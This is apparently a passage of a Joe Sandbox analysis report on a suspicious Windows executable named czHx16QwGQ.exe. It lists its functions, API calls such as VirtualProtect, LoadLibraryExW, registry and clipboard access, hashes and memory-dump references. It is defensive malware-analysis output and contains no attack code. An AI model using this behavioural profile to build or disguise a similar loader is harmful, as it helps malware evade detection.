Opcode ID: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction ID: 92c71ce55c792e737e0c56b3c5c8c262173643586798c2a655fc457b9e75749a
Opcode Fuzzy Hash: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction Fuzzy Hash: 5FF0F632E041109BE700BBA49B8EABE72A49B44314F29003FFE42F31C0CAF85D42976D

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction ID: b41365517dadb09c69eaf87789fd34eb77fb4a5ff64ddc4fb458d6156a5e0ce1
Opcode Fuzzy Hash: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction Fuzzy Hash: DFE0DF32E08200CFE724EFA5AA494AD77B4EB80324B20847FF201F11D1CE7858818F6E

Function 004067C2 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403517,0000000A), ref: 004067D4
GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

Part of subcall function 00406752: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
Part of subcall function 00406752: wsprintfW.USER32 ref: 004067A4
Part of subcall function 00406752: LoadLibraryExW.KERNEL32(?,00000000,?), ref: 004067B8

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction ID: 7b80e99db610fb1a261844a57c40f0e669857592e3492eb3b2a0c0f7ce0b312d
Opcode Fuzzy Hash: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction Fuzzy Hash: 14E086325042115BD21057745E48D3762AC9AC4704307843EF556F3041DB78DC35B66E

Function 00405EDE Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\czHx16QwGQ.exe,80000000,00000003), ref: 00405EE2
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction ID: 5201df1ff3c0a0bd0294a98706b79309786c42e99614e685d4e3591f63f4d9e2
Opcode Fuzzy Hash: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction Fuzzy Hash: D5D09E31254601AFEF098F20DE16F2E7AA2EB84B04F11552CB7C2940E0DA7158199B15

Function 0040599C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403498,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,?,0000000A), ref: 004059A2
GetLastError.KERNEL32(?,00000006,?,0000000A), ref: 004059B0

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction ID: 01a40f06620425e1c555583f7199589d3835b04f5715874dbca4219b9923c3a9
Opcode Fuzzy Hash: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction Fuzzy Hash: D6C04C71216502DAF7115F31DF09B177A50AB60751F11843AA146E11A4DA349455D92D

Function 73962AAC Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00000000), ref: 73962B6B

Memory Dump Source

Source File: 00000000.00000002.2221579317.0000000073961000.00000020.00000001.01000000.00000004.sdmp, Offset: 73960000, based on PE: true

Associated: 00000000.00000002.2220811519.0000000073960000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2221828367.0000000073964000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2222689147.0000000073966000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73960000_czHx16QwGQ.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 63cdb6f3f1f14af91ae49d6f708e65334542ac3f890bd71e72efbf89a0337b76
Instruction ID: 333a699422284168f91b90f30756662820e8c4b9b146b62700231a6cc4389120
Opcode Fuzzy Hash: 63cdb6f3f1f14af91ae49d6f708e65334542ac3f890bd71e72efbf89a0337b76
Instruction Fuzzy Hash: 38419FB2807609EFEB21EF65DE417D93769EB04358F30442AE48DCE280D639D8849B93

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction ID: 73a88bd3a5ced7927151e6ebce11b30d6a6a5b8b2c4e1db0cab765602213b928
Opcode Fuzzy Hash: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction Fuzzy Hash: CBF09031A0851197DF10BBA54F4DD5E22509B8236CB28073BB412B21E1DAFDC542A56E

Function 004027EF Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 0040280D

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction ID: 7217e66a6bf97858787bec6454aeb19e768c89e60d383eb7a66a1db5dd3d6cef
Opcode Fuzzy Hash: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction Fuzzy Hash: 8BE06D71E00104ABD710DBA5AE098AEB7B8DB84308B60403BF601B10D0CA7959518E2E

Function 00406283 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 004062AC

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: b492cd94208fe9a136032c47e7ca6226b28abdd7f17191690e67bc203102cabe
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 94E0E672010209BEDF195F50DD0AD7B371DEB04304F11492EFA06D4051E6B5AD706634

Function 00405F61 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414ED0,0040CED0,0040345A,0040A230,0040A230,0040335E,00414ED0,00004000,?,00000000,00403208), ref: 00405F75

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 5f0138a6a2c6563494c064dd15accf188ef387db15323854b273470b931b092f
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 7AE0EC3221025AAFDF109E959D04EFB7B6CEB05360F044836FD15E6150D675E8619BA4

Function 00405F90 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00413134,0040CED0,004033DE,0040CED0,00413134,00414ED0,00004000,?,00000000,00403208,00000004), ref: 00405FA4

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 11bffb161eade2b6c2cb4bf4b25223a29cd6195b7324502744f40ed25e3c63a9
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 20E08C3220125BEBEF119E518C00AEBBB6CFB003A0F004432FD11E3180D234E9208BA8

Function 73962993 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(7396505C,?,?,7396504C), ref: 739629B1

Memory Dump Source

Source File: 00000000.00000002.2221579317.0000000073961000.00000020.00000001.01000000.00000004.sdmp, Offset: 73960000, based on PE: true

Associated: 00000000.00000002.2220811519.0000000073960000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2221828367.0000000073964000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2222689147.0000000073966000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73960000_czHx16QwGQ.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d95a9308519089d6f0997c695cc7e08944cfb4c13a2b5af81a8ede1c1377cc20
Instruction ID: aab625b1aafeca71a5f7f4071ed121f699fb602ffaf5dc38b25d025da8de6fe7
Opcode Fuzzy Hash: d95a9308519089d6f0997c695cc7e08944cfb4c13a2b5af81a8ede1c1377cc20
Instruction Fuzzy Hash: 20F092F250AA81FEC350EF2A86447193BE0B749204B64453EE19CDE241E334C448CF92

Function 00406255 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,00422708,?,?,004062E3,00422708,00000000,?,?,Call,?), ref: 00406279

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 7481b87947078d819ae160a747d33610cb99cd3c2235475b1dc937127606ac98
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: C1D0123210420DBBDF11AE90DD01FAB372DAF14714F114826FE06A4091D775D530AB14

Function 0040345D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 00404394 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000001,004041BF), ref: 004043A2

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction ID: e4171d0a4592585bcf4a2ca6fb2eaed9aff33c093be5cb9cf1e9125a9c9e1139
Opcode Fuzzy Hash: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction Fuzzy Hash: 0EB09235290600ABDE214B40DE49F457A62E7A4701F008178B240640B0CAB200A1DB19

Function 7396121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(?,?,7396123B,?,739612DF,00000019,739611BE,-000000A0), ref: 73961225

Memory Dump Source

Source File: 00000000.00000002.2221579317.0000000073961000.00000020.00000001.01000000.00000004.sdmp, Offset: 73960000, based on PE: true

Associated: 00000000.00000002.2220811519.0000000073960000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2221828367.0000000073964000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2222689147.0000000073966000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73960000_czHx16QwGQ.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 98c0150f579313bbc7855d86146f1daf38b937717357d7736c3fc37dcc4b65bf
Instruction ID: 473050941e88255bdb719725b368d5bfa81f67fe9eae8cea4ed04b31c6f01d2d
Opcode Fuzzy Hash: 98c0150f579313bbc7855d86146f1daf38b937717357d7736c3fc37dcc4b65bf
Instruction Fuzzy Hash: E6B012B2A09410EFEF00ABA5CD06F353254E700301F144024F60CCC180C120C8008534

Non-executed Functions

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,?), ref: 004056DC
GetDlgItem.USER32(?,?), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,?), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(?,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,?), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,?), ref: 0040578D
ShowWindow.USER32(?), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,?,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

(7B, xrefs: 0040587D
{, xrefs: 004057F5

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00404850 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(Call,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,Call), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,?,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,?,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,?,0000000A), ref: 004066EE
